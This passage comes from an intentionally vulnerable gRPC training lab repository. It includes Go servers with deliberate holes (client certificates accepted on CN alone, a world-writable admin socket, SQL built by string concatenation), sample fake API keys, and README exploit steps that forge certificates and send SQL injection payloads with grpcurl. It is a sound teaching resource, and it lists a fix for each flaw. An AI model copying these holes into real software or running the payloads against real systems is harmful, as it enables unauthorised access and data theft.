no proper validation!") 157 | log.Println("Attackers can generate their own certificates to access partner data") 158 | 159 | if err := s.Serve(lis); err != nil { 160 | log.Fatalf("Failed to serve: %v", err) 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /labs/grpc-004-arbitary-mtls/server/proto/partner.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package partner; 4 | 5 | option go_package = "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto"; 6 | 7 | // PartnerAPI exposes partner integrations 8 | service PartnerAPI { 9 | // GetPartnerData returns sensitive partner information 10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse); 11 | } 12 | 13 | message PartnerDataRequest { 14 | string partner_id = 1; 15 | string data_type = 2; 16 | } 17 | 18 | message PartnerDataResponse { 19 | bool success = 1; 20 | string message = 2; 21 | repeated PartnerInfo partners = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | 25 | message PartnerInfo { 26 | string partner_id = 1; 27 | string name = 2; 28 | string api_key = 3; 29 | string secret = 4; 30 | repeated string permissions = 5; 31 | } 32 | -------------------------------------------------------------------------------- /labs/grpc-005-arbitary-mtls-withsubject/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/partner.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN go build -o partner-api main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates openssl 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/partner-api . 30 | 31 | EXPOSE 8004 32 | 33 | CMD ["./partner-api"] -------------------------------------------------------------------------------- /labs/grpc-005-arbitary-mtls-withsubject/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 005: mTLS with Subject Validation 2 | 3 | ## Vulnerability 4 | Partner API validates client certificate subject name but accepts any certificate with "goatpartner.local". 5 | 6 | ## Objective 7 | Generate a fake client certificate with the correct subject name "goatpartner.local" to access partner data. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-005 . 13 | docker run -p 8005:8005 grpc-005 14 | ``` 15 | 16 | ## Exploit 17 | 18 | ### Step 1: Generate a client certificate with the required subject name 19 | ```bash 20 | # Generate client private key 21 | openssl genrsa -out client.key 2048 22 | 23 | # Generate client certificate with the EXACT subject name required 24 | openssl req -new -key client.key -out client.csr -subj "/CN=goatpartner.local/O=AttackerCorp" 25 | 26 | # Generate self-signed client certificate 27 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365 28 | ``` 29 | 30 | ### Step 2: Use the certificate to access partner data 31 | ```bash 32 | # Install grpcurl 33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 34 | 35 | # Connect using the client certificate with correct subject name 36 | grpcurl -insecure -cert client.crt -key client.key -d '{ 37 | "partner_id": "GOAT_PARTNER", 38 | "data_type": "all" 39 | }' localhost:8005 partner.PartnerAPI/GetPartnerData 40 | ``` 41 | 42 | ## Impact 43 | Attackers can generate certificates with the required subject name and bypass partner authentication. 44 | 45 | ## Flag 46 | Successfully access partner data to get: `GRPC_GOAT{subject_validation_insufficient_for_mtls}` 47 | 48 | ## Mitigation 49 | Use proper CA-signed certificates with certificate pinning, not just subject name validation. -------------------------------------------------------------------------------- /labs/grpc-005-arbitary-mtls-withsubject/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-005-arbitary-mtls-withsubject/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "crypto/x509/pkix" 10 | "encoding/pem" 11 | "log" 12 | "math/big" 13 | "net" 14 | "time" 15 | 16 | "google.golang.org/grpc" 17 | "google.golang.org/grpc/credentials" 18 | "google.golang.org/grpc/peer" 19 | 20 | pb "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto" 21 | ) 22 | 23 | // unaryInterceptor logs client IP addresses and certificate info 24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 25 | peer, ok := peer.FromContext(ctx) 26 | if ok { 27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 28 | 29 | // Log client certificate info if available 30 | if tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo); ok { 31 | if len(tlsInfo.State.PeerCertificates) > 0 { 32 | cert := tlsInfo.State.PeerCertificates[0] 33 | log.Printf("Client cert: Subject=%s, Issuer=%s", cert.Subject, cert.Issuer) 34 | } 35 | } 36 | } 37 | return handler(ctx, req) 38 | } 39 | 40 | type partnerServer struct { 41 | pb.UnimplementedPartnerAPIServer 42 | } 43 | 44 | func newPartnerServer() *partnerServer { 45 | return &partnerServer{} 46 | } 47 | 48 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 49 | log.Printf("Partner data request - Partner: %s, Type: %s", req.PartnerId, req.DataType) 50 | 51 | // VULNERABILITY: Validate client certificate subject name 52 | peer, ok := peer.FromContext(ctx) 53 | if !ok { 54 | return &pb.PartnerDataResponse{ 55 | Success: false, 56 | Message: "No peer information available", 57 | }, nil 58 | } 59 | 60 | tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo) 61 | if !ok || len(tlsInfo.State.PeerCertificates) == 0 { 62 | return &pb.PartnerDataResponse{ 63 | Success: false, 64 | Message: "No client certificate provided", 65 | }, nil 66 | } 67 | 68 | cert := tlsInfo.State.PeerCertificates[0] 69 | expectedSubject := "goatpartner.local" 70 | 71 | // INSECURE: Only checking subject CN, not validating against trusted CA 72 | if cert.Subject.CommonName != expectedSubject { 73 | log.Printf("Certificate validation failed: expected CN=%s, got CN=%s", expectedSubject, cert.Subject.CommonName) 74 | return &pb.PartnerDataResponse{ 75 | Success: false, 76 | Message: "Invalid client certificate subject expected CN=goatpartner.local", 77 | }, nil 78 | } 79 | 80 | log.Printf("Certificate validation passed: CN=%s", cert.Subject.CommonName) 81 | 82 | // Return sensitive partner information (this should be restricted!) 83 | partners := []*pb.PartnerInfo{ 84 | { 85 | PartnerId: "PARTNER_001", 86 | Name: "TechCorp Solutions", 87 | ApiKey: "tc_live_sk_1234567890abcdef", 88 | Secret: "tc_secret_xyz789", 89 | Permissions: []string{"read", "write", "admin"}, 90 | }, 91 | { 92 | PartnerId: "PARTNER_002", 93 | Name: "DataFlow Inc", 94 | ApiKey: "df_live_pk_fedcba0987654321", 95 | Secret: "df_secret_abc123", 96 | Permissions: []string{"read", "analytics"}, 97 | }, 98 | { 99 | PartnerId: "PARTNER_003", 100 | Name: "SecureBank API", 101 | ApiKey: "sb_live_key_999888777666", 102 | Secret: "sb_secret_banking_2024", 103 | Permissions: []string{"financial", "transactions", "admin"}, 104 | }, 105 | } 106 | 107 | return &pb.PartnerDataResponse{ 108 | Success: true, 109 | Message: "Partner data retrieved successfully", 110 | Partners: partners, 111 | Flag: "GRPC_GOAT{subject_validation_insufficient_for_mtls}", 112 | }, nil 113 | } 114 | 115 | // generateSelfSignedCert creates a self-signed certificate 116 | func generateSelfSignedCert() (tls.Certificate, error) { 117 | priv, err := rsa.GenerateKey(rand.Reader, 2048) 118 | if err != nil { 119 | return tls.Certificate{}, err 120 | } 121 | 122 | template := x509.Certificate{ 123 | SerialNumber: big.NewInt(1), 124 | Subject: pkix.Name{ 125 | Organization: []string{"Partner API Corp"}, 126 | Country: []string{"US"}, 127 | Province: []string{""}, 128 | Locality: []string{"San Francisco"}, 129 | StreetAddress: []string{""}, 130 | PostalCode: []string{""}, 131 | }, 132 | NotBefore: time.Now(), 133 | NotAfter: time.Now().Add(365 * 24 * time.Hour), 134 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 135 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, 136 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, 137 | DNSNames: []string{"localhost", "partner-api.local"}, 138 | } 139 | 140 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) 141 | if err != nil { 142 | return tls.Certificate{}, err 143 | } 144 | 145 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) 146 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) 147 | 148 | cert, err := tls.X509KeyPair(certPEM, keyPEM) 149 | if err != nil { 150 | return tls.Certificate{}, err 151 | } 152 | 153 | return cert, nil 154 | } 155 | 156 | func main() { 157 | lis, err := net.Listen("tcp", ":8005") 158 | if err != nil { 159 | log.Fatalf("Failed to listen: %v", err) 160 | } 161 | 162 | // Generate server certificate 163 | cert, err := generateSelfSignedCert() 164 | if err != nil { 165 | log.Fatalf("Failed to generate certificate: %v", err) 166 | } 167 | 168 | // VULNERABILITY: mTLS configuration that accepts ANY client certificate 169 | tlsConfig := &tls.Config{ 170 | Certificates: []tls.Certificate{cert}, 171 | // INSECURE: Require client certificates but don't verify them properly 172 | ClientAuth: tls.RequireAnyClientCert, 173 | // INSECURE: No client certificate verification 174 | InsecureSkipVerify: false, 175 | // INSECURE: Accept any client certificate without validation 176 | } 177 | 178 | creds := credentials.NewTLS(tlsConfig) 179 | s := grpc.NewServer( 180 | grpc.Creds(creds), 181 | grpc.UnaryInterceptor(unaryInterceptor), 182 | ) 183 | 184 | pb.RegisterPartnerAPIServer(s, newPartnerServer()) 185 | 186 | log.Println("Partner API gRPC server starting on port 8005...") 187 | log.Println("WARNING: mTLS validates subject name but accepts self-signed certificates!") 188 | log.Println("Attackers can generate certificates with subject 'goatpartner.local' to access partner data") 189 | 190 | if err := s.Serve(lis); err != nil { 191 | log.Fatalf("Failed to serve: %v", err) 192 | } 193 | } 194 | -------------------------------------------------------------------------------- /labs/grpc-005-arbitary-mtls-withsubject/server/proto/partner.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package partner; 4 | 5 | option go_package = "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto"; 6 | 7 | // PartnerAPI exposes partner integrations 8 | service PartnerAPI { 9 | // GetPartnerData returns sensitive partner information 10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse); 11 | } 12 | 13 | message PartnerDataRequest { 14 | string partner_id = 1; 15 | string data_type = 2; 16 | } 17 | 18 | message PartnerDataResponse { 19 | bool success = 1; 20 | string message = 2; 21 | repeated PartnerInfo partners = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | 25 | message PartnerInfo { 26 | string partner_id = 1; 27 | string name = 2; 28 | string api_key = 3; 29 | string secret = 4; 30 | repeated string permissions = 5; 31 | } 32 | -------------------------------------------------------------------------------- /labs/grpc-006-pipe-world-read-write/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/admin.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN go build -o admin-service main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | 28 | # Create a non-root user for demonstration 29 | RUN adduser -D -s /bin/sh normaluser 30 | 31 | WORKDIR /root/ 32 | 33 | COPY --from=builder /app/admin-service . 34 | 35 | # Create the socket directory 36 | RUN mkdir -p /tmp 37 | 38 | # Expose the socket path as a volume 39 | VOLUME ["/tmp"] 40 | 41 | CMD ["./admin-service"] 42 | -------------------------------------------------------------------------------- /labs/grpc-006-pipe-world-read-write/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 006: Unix Socket World Writable 2 | 3 | ## Vulnerability 4 | Admin gRPC service listening on Unix domain socket with world read/write permissions (0666). 5 | 6 | ## Objective 7 | Connect to the Unix socket as any user to access privileged admin functions. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-006 . 13 | docker run -it --rm grpc-006 sh 14 | 15 | # In the container, the service will be running 16 | # Check socket permissions 17 | ls -la /tmp/grpc-admin.sock 18 | ``` 19 | 20 | ## Exploit 21 | 22 | ### Step 1: Verify socket permissions 23 | ```bash 24 | # Check the socket permissions 25 | ls -la /tmp/grpc-admin.sock 26 | # Should show: srw-rw-rw- (world writable) 27 | 28 | # Check who can access it 29 | stat /tmp/grpc-admin.sock 30 | ``` 31 | 32 | ### Step 2: Connect as any user 33 | ```bash 34 | # Install grpcurl in the container 35 | apk add --no-cache go 36 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 37 | 38 | # Connect via Unix socket to get system info 39 | grpcurl -plaintext -unix /tmp/grpc-admin.sock admin.AdminService/GetSystemInfo 40 | 41 | # Access admin command interface (shows privilege escalation) 42 | grpcurl -plaintext -unix /tmp/grpc-admin.sock -d '{ 43 | "command": "whoami" 44 | }' admin.AdminService/ExecuteCommand 45 | ``` 46 | 47 | ## Impact 48 | Any user on the system can connect to the admin service and execute privileged operations. 49 | 50 | ## Flag 51 | Successfully connect to get: `GRPC_GOAT{unix_socket_world_writable_privilege_escalation}` 52 | 53 | ## Mitigation 54 | Set proper socket permissions (0600) and validate client credentials. -------------------------------------------------------------------------------- /labs/grpc-006-pipe-world-read-write/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-006-pipe-world-read-write/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-006-pipe-world-read-write/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "net" 7 | "os" 8 | "os/user" 9 | 10 | "google.golang.org/grpc" 11 | "google.golang.org/grpc/peer" 12 | 13 | pb "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto" 14 | ) 15 | 16 | // unaryInterceptor logs client connections 17 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 18 | peer, ok := peer.FromContext(ctx) 19 | if ok { 20 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 21 | } 22 | return handler(ctx, req) 23 | } 24 | 25 | type adminServer struct { 26 | pb.UnimplementedAdminServiceServer 27 | } 28 | 29 | func newAdminServer() *adminServer { 30 | return &adminServer{} 31 | } 32 | 33 | func (s *adminServer) GetSystemInfo(ctx context.Context, req *pb.SystemInfoRequest) (*pb.SystemInfoResponse, error) { 34 | log.Printf("System info requested") 35 | 36 | // Get hostname 37 | hostname, _ := os.Hostname() 38 | 39 | // Get current user 40 | currentUser, _ := user.Current() 41 | username := currentUser.Username 42 | 43 | // Get working directory 44 | workingDir, _ := os.Getwd() 45 | 46 | // Get some environment variables 47 | envVars := []string{ 48 | "PATH=" + os.Getenv("PATH"), 49 | "HOME=" + os.Getenv("HOME"), 50 | "USER=" + os.Getenv("USER"), 51 | "SHELL=" + os.Getenv("SHELL"), 52 | } 53 | 54 | return &pb.SystemInfoResponse{ 55 | Success: true, 56 | Hostname: hostname, 57 | Username: username, 58 | WorkingDirectory: workingDir, 59 | EnvironmentVars: envVars, 60 | }, nil 61 | } 62 | 63 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) { 64 | log.Printf("Command execution requested: %s %v", req.Command, req.Args) 65 | 66 | staticOutput := "GRPC_GOAT{unix_socket_world_writable_privilege_escalation}\nroot\n/root\nuid=0(root) gid=0(root) groups=0(root)" 67 | 68 | return &pb.CommandResponse{ 69 | Success: true, 70 | Output: staticOutput, 71 | Error: "", 72 | ExitCode: 0, 73 | }, nil 74 | } 75 | 76 | func main() { 77 | socketPath := "/tmp/grpc-admin.sock" 78 | 79 | os.Remove(socketPath) 80 | 81 | lis, err := net.Listen("unix", socketPath) 82 | if err != nil { 83 | log.Fatalf("Failed to listen on Unix socket: %v", err) 84 | } 85 | 86 | err = os.Chmod(socketPath, 0666) // rw-rw-rw- 87 | if err != nil { 88 | log.Printf("Warning: Failed to set socket permissions: %v", err) 89 | } 90 | 91 | if info, err := os.Stat(socketPath); err == nil { 92 | log.Printf("Socket permissions: %s", info.Mode().Perm()) 93 | } 94 | 95 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 96 | pb.RegisterAdminServiceServer(s, newAdminServer()) 97 | 98 | log.Printf("Admin gRPC server starting on Unix socket: %s", socketPath) 99 | log.Printf("WARNING: Socket has world read/write permissions (0666)!") 100 | log.Printf("Any user on the system can connect and access admin functions") 101 | 102 | // Cleanup socket on exit 103 | defer func() { 104 | os.Remove(socketPath) 105 | }() 106 | 107 | if err := s.Serve(lis); err != nil { 108 | log.Fatalf("Failed to serve: %v", err) 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /labs/grpc-006-pipe-world-read-write/server/proto/admin.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package admin; 4 | 5 | option go_package = "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto"; 6 | 7 | // AdminService provides privileged system operations 8 | service AdminService { 9 | // GetSystemInfo returns sensitive system information 10 | rpc GetSystemInfo(SystemInfoRequest) returns (SystemInfoResponse); 11 | 12 | // ExecuteCommand runs system commands (admin only) 13 | rpc ExecuteCommand(CommandRequest) returns (CommandResponse); 14 | } 15 | 16 | message SystemInfoRequest { 17 | // Empty request 18 | } 19 | 20 | message SystemInfoResponse { 21 | bool success = 1; 22 | string hostname = 2; 23 | string username = 3; 24 | string working_directory = 4; 25 | repeated string environment_vars = 5; 26 | } 27 | 28 | message CommandRequest { 29 | string command = 1; 30 | repeated string args = 2; 31 | } 32 | 33 | message CommandResponse { 34 | bool success = 1; 35 | string output = 2; 36 | string error = 3; 37 | int32 exit_code = 4; 38 | } 39 | -------------------------------------------------------------------------------- /labs/grpc-007-sql-injection/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/user_directory.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN CGO_ENABLED=0 go build -o user-directory main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/user-directory . 30 | 31 | EXPOSE 8007 32 | 33 | CMD ["./user-directory"] 34 | -------------------------------------------------------------------------------- /labs/grpc-007-sql-injection/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 007: SQL Injection 2 | 3 | ## Vulnerability 4 | User Directory service with SQL injection vulnerability in username search (read-only database for safety). 5 | 6 | ## Objective 7 | Exploit SQL injection to extract the flag user data. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-007 . 13 | docker run -p 8007:8007 grpc-007 14 | ``` 15 | 16 | ## Exploit 17 | 18 | ```bash 19 | # Install grpcurl 20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 21 | 22 | # Normal search 23 | grpcurl -plaintext -d '{ 24 | "username": "john" 25 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers 26 | 27 | # SQL injection to get all users 28 | grpcurl -plaintext -d '{ 29 | "username": "' OR 1=1 --" 30 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers 31 | 32 | # Extract flag user specifically 33 | grpcurl -plaintext -d '{ 34 | "username": "' OR username='flag_user' --" 35 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers 36 | ``` 37 | 38 | ## Impact 39 | Attackers can extract user data and discover hidden accounts. 40 | 41 | ## Flag 42 | Successfully exploit SQL injection to get: `GRPC_GOAT{sql_injection_data_exfiltration}` 43 | 44 | ## Mitigation 45 | Use parameterized queries to prevent SQL injection. 46 | -------------------------------------------------------------------------------- /labs/grpc-007-sql-injection/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-007-sql-injection/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | modernc.org/sqlite v1.27.0 7 | google.golang.org/grpc v1.58.3 8 | google.golang.org/protobuf v1.31.0 9 | ) 10 | 11 | require ( 12 | github.com/golang/protobuf v1.5.3 // indirect 13 | golang.org/x/net v0.12.0 // indirect 14 | golang.org/x/sys v0.10.0 // indirect 15 | golang.org/x/text v0.11.0 // indirect 16 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /labs/grpc-007-sql-injection/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | "log" 8 | "net" 9 | "strings" 10 | 11 | "google.golang.org/grpc" 12 | "google.golang.org/grpc/peer" 13 | _ "modernc.org/sqlite" 14 | 15 | pb "grpc-goat/labs/grpc-007-sql-injection/server/proto" 16 | ) 17 | 18 | // unaryInterceptor logs client connections 19 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 20 | peer, ok := peer.FromContext(ctx) 21 | if ok { 22 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 23 | } 24 | return handler(ctx, req) 25 | } 26 | 27 | type userDirectoryServer struct { 28 | pb.UnimplementedUserDirectoryServer 29 | db *sql.DB 30 | } 31 | 32 | func newUserDirectoryServer() *userDirectoryServer { 33 | // First create and populate the database 34 | setupDB, err := sql.Open("sqlite", "/tmp/users.db") 35 | if err != nil { 36 | log.Fatalf("Failed to create database: %v", err) 37 | } 38 | 39 | server := &userDirectoryServer{db: setupDB} 40 | server.initDatabase() 41 | setupDB.Close() 42 | 43 | // Now open in read-only mode 44 | db, err := sql.Open("sqlite", "file:/tmp/users.db?mode=ro") 45 | if err != nil { 46 | log.Fatalf("Failed to open read-only database: %v", err) 47 | } 48 | 49 | server.db = db 50 | return server 51 | } 52 | 53 | func (s *userDirectoryServer) initDatabase() { 54 | // Create users table 55 | createTable := ` 56 | CREATE TABLE users ( 57 | username TEXT PRIMARY KEY, 58 | email TEXT NOT NULL, 59 | role TEXT NOT NULL 60 | );` 61 | 62 | _, err := s.db.Exec(createTable) 63 | if err != nil { 64 | log.Fatalf("Failed to create table: %v", err) 65 | } 66 | 67 | // Insert sample data 68 | users := [][]string{ 69 | {"john", "john@company.com", "user"}, 70 | {"admin", "admin@company.com", "admin"}, 71 | {"flag_user", "flag@company.com", "GRPC_GOAT{sql_injection_data_exfiltration}"}, 72 | } 73 | 74 | for _, user := range users { 75 | insertSQL := `INSERT INTO users (username, email, role) VALUES (?, ?, ?)` 76 | _, err := s.db.Exec(insertSQL, user[0], user[1], user[2]) 77 | if err != nil { 78 | log.Printf("Failed to insert user %s: %v", user[0], err) 79 | } 80 | } 81 | 82 | log.Println("Database initialized with sample data") 83 | } 84 | 85 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) { 86 | log.Printf("Search users - Username: %s", req.Username) 87 | 88 | // VULNERABILITY: SQL injection - directly concatenating user input 89 | query := fmt.Sprintf("SELECT username, email, role FROM users WHERE username = '%s'", req.Username) 90 | 91 | log.Printf("Executing SQL: %s", query) 92 | 93 | rows, err := s.db.Query(query) 94 | if err != nil { 95 | log.Printf("SQL error: %v", err) 96 | return &pb.SearchUsersResponse{ 97 | Success: false, 98 | }, nil 99 | } 100 | defer rows.Close() 101 | 102 | var users []*pb.UserInfo 103 | flag := "" 104 | 105 | for rows.Next() { 106 | var user pb.UserInfo 107 | err := rows.Scan(&user.Username, &user.Email, &user.Role) 108 | if err != nil { 109 | log.Printf("Scan error: %v", err) 110 | continue 111 | } 112 | users = append(users, &user) 113 | 114 | // Check if we found the flag user or flag in role 115 | if user.Username == "flag_user" || strings.Contains(user.Role, "GRPC_GOAT") { 116 | flag = "GRPC_GOAT{sql_injection_data_exfiltration}" 117 | } 118 | } 119 | 120 | return &pb.SearchUsersResponse{ 121 | Success: true, 122 | Users: users, 123 | Flag: flag, 124 | }, nil 125 | } 126 | 127 | func main() { 128 | lis, err := net.Listen("tcp", ":8007") 129 | if err != nil { 130 | log.Fatalf("Failed to listen: %v", err) 131 | } 132 | 133 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 134 | pb.RegisterUserDirectoryServer(s, newUserDirectoryServer()) 135 | 136 | log.Println("User Directory gRPC server starting on port 8007...") 137 | log.Println("WARNING: SQL injection vulnerability present!") 138 | log.Println("Database is read-only - safe for educational purposes") 139 | log.Println("Users: john, admin, flag_user") 140 | 141 | if err := s.Serve(lis); err != nil { 142 | log.Fatalf("Failed to serve: %v", err) 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /labs/grpc-007-sql-injection/server/proto/user_directory.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package userdirectory; 4 | 5 | option go_package = "grpc-goat/labs/grpc-007-sql-injection/server/proto"; 6 | 7 | // UserDirectory provides employee profile management 8 | service UserDirectory { 9 | // SearchUsers searches for users by username (vulnerable to SQL injection) 10 | rpc SearchUsers(SearchUsersRequest) returns (SearchUsersResponse); 11 | } 12 | 13 | message SearchUsersRequest { 14 | string username = 1; // Username search (vulnerable parameter) 15 | } 16 | 17 | message SearchUsersResponse { 18 | bool success = 1; 19 | repeated UserInfo users = 2; 20 | string flag = 3; // Flag returned when SQL injection is successful 21 | } 22 | 23 | message UserInfo { 24 | string username = 1; 25 | string email = 2; 26 | string role = 3; 27 | } 28 | -------------------------------------------------------------------------------- /labs/grpc-008-grpc-command-injection/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/file_processor.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN CGO_ENABLED=0 go build -o file-processor main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | 28 | # Add demo files 29 | RUN echo "Sample document content" > /tmp/document.txt 30 | RUN echo "GRPC_GOAT{command_injection_file_listing}" > /tmp/flag.txt 31 | RUN echo "public file 1" > /tmp/public1.txt 32 | RUN echo "public file 2" > /tmp/public2.txt 33 | 34 | WORKDIR /root/ 35 | 36 | COPY --from=builder /app/file-processor . 37 | 38 | EXPOSE 8008 39 | 40 | CMD ["./file-processor"] -------------------------------------------------------------------------------- /labs/grpc-008-grpc-command-injection/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 008: Command Injection 2 | 3 | ## Vulnerability 4 | File Listing service with command injection vulnerability. 5 | 6 | ## 